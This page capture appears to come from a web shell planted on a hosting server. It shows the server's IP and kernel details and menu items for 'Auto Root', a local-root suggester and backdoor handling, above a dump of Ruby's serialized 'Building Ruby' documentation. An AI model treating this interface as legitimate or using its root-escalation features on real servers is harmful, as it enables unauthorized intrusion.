Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.198
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby32 /
share /
ri /
system /
contributing /
Delete
Unzip
Name
Size
Permission
Date
Action
page-building_ruby_md.ri
6.81
KB
-rw-r--r--
2026-04-07 17:42
page-documentation_guide_md.ri
16.83
KB
-rw-r--r--
2026-04-07 17:42
page-making_changes_to_ruby_md.ri
1.74
KB
-rw-r--r--
2026-04-07 17:42
page-making_changes_to_stdlibs_md.ri
1.71
KB
-rw-r--r--
2026-04-07 17:42
page-reporting_issues_md.ri
4.89
KB
-rw-r--r--
2026-04-07 17:42
page-testing_ruby_md.ri
4.36
KB
-rw-r--r--
2026-04-07 17:42
Save
Rename
U:RDoc::TopLevel[ i I""contributing/building_ruby.md:ETcRDoc::Parser::Markdowno:RDoc::Markup::Document:@parts["S:RDoc::Markup::Heading: leveli: textI"Building Ruby;TS; ; i;I"Quick start guide;To:RDoc::Markup::List: @type:NUMBER:@items[o:RDoc::Markup::ListItem:@label0;[o:RDoc::Markup::Paragraph;[I"NInstall the prerequisite dependencies for building the CRuby interpreter:;Fo;; :BULLET;[ o;;0;[o;;[I"C compiler;Fo;;0;[o;;[I"autoconf - 2.67 or later;Fo;;0;[o;;[I"bison - 3.0 or later;Fo;;0;[o;;[I"gperf - 3.0.3 or later;Fo;;0;[o;;[I"ruby - 2.7 or later;Fo;;0;[o;;[I"0Install optional, recommended dependencies:;Fo;; ;;[o;;0;[o;;[I"OpenSSL/LibreSSL;Fo;;0;[o;;[I" readline/editline (libedit);Fo;;0;[o;;[I" zlib;Fo;;0;[o;;[I"libffi;Fo;;0;[o;;[I"libyaml;Fo;;0;[o;;[I"libexecinfo (FreeBSD);Fo;;0;[o;;[I"Mrustc - 1.58.0 or later (if you wish to build {YJIT}[/doc/yjit/yjit.md]);Fo;;0;[o;;[I"$Checkout the CRuby source code:;Fo:RDoc::Markup::Verbatim;[I"0git clone https://github.com/ruby/ruby.git ;F:@format0o;;0;[o;;[I"!Generate the configure file:;Fo;;[I"./autogen.sh ;F;0o;;0;[o;;[I"KCreate a <code>build</code> directory outside of the source directory:;Fo;;[I"mkdir build && cd build ;F;0o;;[I"\While it's not necessary to build in a separate directory, it's good practice to do so.;Fo;;0;[o;;[I"WWe'll install Ruby in <code>~/.rubies/ruby-master</code>, so create the directory:;Fo;;[I"mkdir ~/.rubies ;F;0o;;0;[o;;[I"Run configure:;Fo;;[I"9../configure --prefix="${HOME}/.rubies/ruby-master" ;F;0o;; ;;[o;;0;[o;;[I"�If you are frequently building Ruby, add the <code>--disable-install-doc</code> flag to not build documentation which will speed up the build process.;Fo;;0;[o;;[I"Build Ruby:;Fo;;[I"make install ;F;0o;; ;;[o;;0;[ o;;[I"|If you're on macOS and installed \OpenSSL through Homebrew, you may encounter failure to build \OpenSSL that look like this:;Fo;;[I"openssl: Could not be configured. It will not be installed. ruby/ext/openssl/extconf.rb: OpenSSL library could not be found. You might want to use --with-openssl-dir=<dir> option to specify the prefix where OpenSSL is installed. Check ext/openssl/mkmf.log for more details. ;F;0o;;[I"Adding <code>--with-openssl-dir=$(brew --prefix openssl)</code> to the list of options passed to configure may solve the issue.;Fo;;[I"bRemember to delete your <code>build</code> directory and start again from the configure step.;Fo;;0;[o;;[I"B{Run tests}[testing_ruby.md] to confirm your build succeeded.;TS; ; i;I"Unexplainable Build Errors;To;;[I"WIf you are having unexplainable build errors, after saving all your work, try running <code>git clean -xfd</code> in the source root to remove all git ignored local files. If you are working from a source directory that's been updated several times, you may have temporary build artifacts from previous releases which can cause build failures.;TS; ; i;I"More details;To;;[I"rIf you're interested in continuing development on Ruby, here are more details about Ruby's build to help out.;TS; ; i;I"%Running make scripts in parallel;To;;[I"�In GNU make and BSD make implementations, to run a specific make script in parallel, pass the flag <code>-j<number of processes></code>. For instance, to run tests on 8 processes, use:;To;;[I"make test-all -j8 ;T;0o;;[I"`We can also set <code>MAKEFLAGS</code> to run _all_ <code>make</code> commands in parallel.;To;;[I"�Having the right <code>--jobs</code> flag will ensure all processors are utilized when building software projects. To do this effectively, you can set <code>MAKEFLAGS</code> in your shell configuration/profile:;To;;[I"# On macOS with Fish shell: export MAKEFLAGS="--jobs "(sysctl -n hw.ncpu) # On macOS with Bash/ZSH shell: export MAKEFLAGS="--jobs $(sysctl -n hw.ncpu)" # On Linux with Fish shell: export MAKEFLAGS="--jobs "(nproc) # On Linux with Bash/ZSH shell: export MAKEFLAGS="--jobs $(nproc)" ;T;: shellS; ; i;I"Miniruby vs Ruby;To;;[I"Miniruby is a version of Ruby which has no external dependencies and lacks certain features. It can be useful in Ruby development because it allows for faster build times. Miniruby is built before Ruby. A functional Miniruby is required to build Ruby. To build Miniruby:;To;;[I"make miniruby ;T;0S; ; i;I"Debugging;To;;[I"�You can use either lldb or gdb for debugging. Before debugging, you need to create a <code>test.rb</code> with the Ruby script you'd like to run. You can use the following make targets:;To;; ;;[o;;0;[o;;[I"D<code>make run</code>: Runs <code>test.rb</code> using Miniruby;To;;0;[o;;[I"M<code>make lldb</code>: Runs <code>test.rb</code> using Miniruby in lldb;To;;0;[o;;[I"K<code>make gdb</code>: Runs <code>test.rb</code> using Miniruby in gdb;To;;0;[o;;[I"D<code>make runruby</code>: Runs <code>test.rb</code> using Ruby;To;;0;[o;;[I"N<code>make lldb-ruby</code>: Runs <code>test.rb</code> using Ruby in lldb;To;;0;[o;;[I"L<code>make gdb-ruby</code>: Runs <code>test.rb</code> using Ruby in gdb;TS; ; i;I"$Building with Address Sanitizer;To;;[I"HUsing the address sanitizer is a great way to detect memory issues.;To;;[I"�./autogen.sh mkdir build && cd build export ASAN_OPTIONS="halt_on_error=0:use_sigaltstack=0:detect_leaks=0" ../configure cppflags="-fsanitize=address -fno-omit-frame-pointer" optflags=-O0 LDFLAGS="-fsanitize=address -fno-omit-frame-pointer" make ;T;;o;;[I"�On Linux it is important to specify <code>-O0</code> when debugging. This is especially true for ASAN which sometimes works incorrectly at higher optimisation levels.;TS; ; i;I"/How to measure coverage of C and Ruby code;To;;[I"?You need to be able to use gcc (gcov) and lcov visualizer.;To;;[I"�./autogen.sh ./configure --enable-gcov make make update-coverage rm -f test-coverage.dat make test-all COVERAGE=true make lcov open lcov-out/index.html ;T;0o;;[I"�If you need only C code coverage, you can remove <code>COVERAGE=true</code> from the above process. You can also use <code>gcov</code> command directly to get per-file coverage.;To;;[I"�If you need only Ruby code coverage, you can remove <code>--enable-gcov</code>. Note that <code>test-coverage.dat</code> accumulates all runs of <code>make test-all</code>. Make sure that you remove the file if you want to measure one test run.;To;;[I"GYou can see the coverage result of CI: https://rubyci.org/coverage;T: @file@:0@omit_headings_from_table_of_contents_below0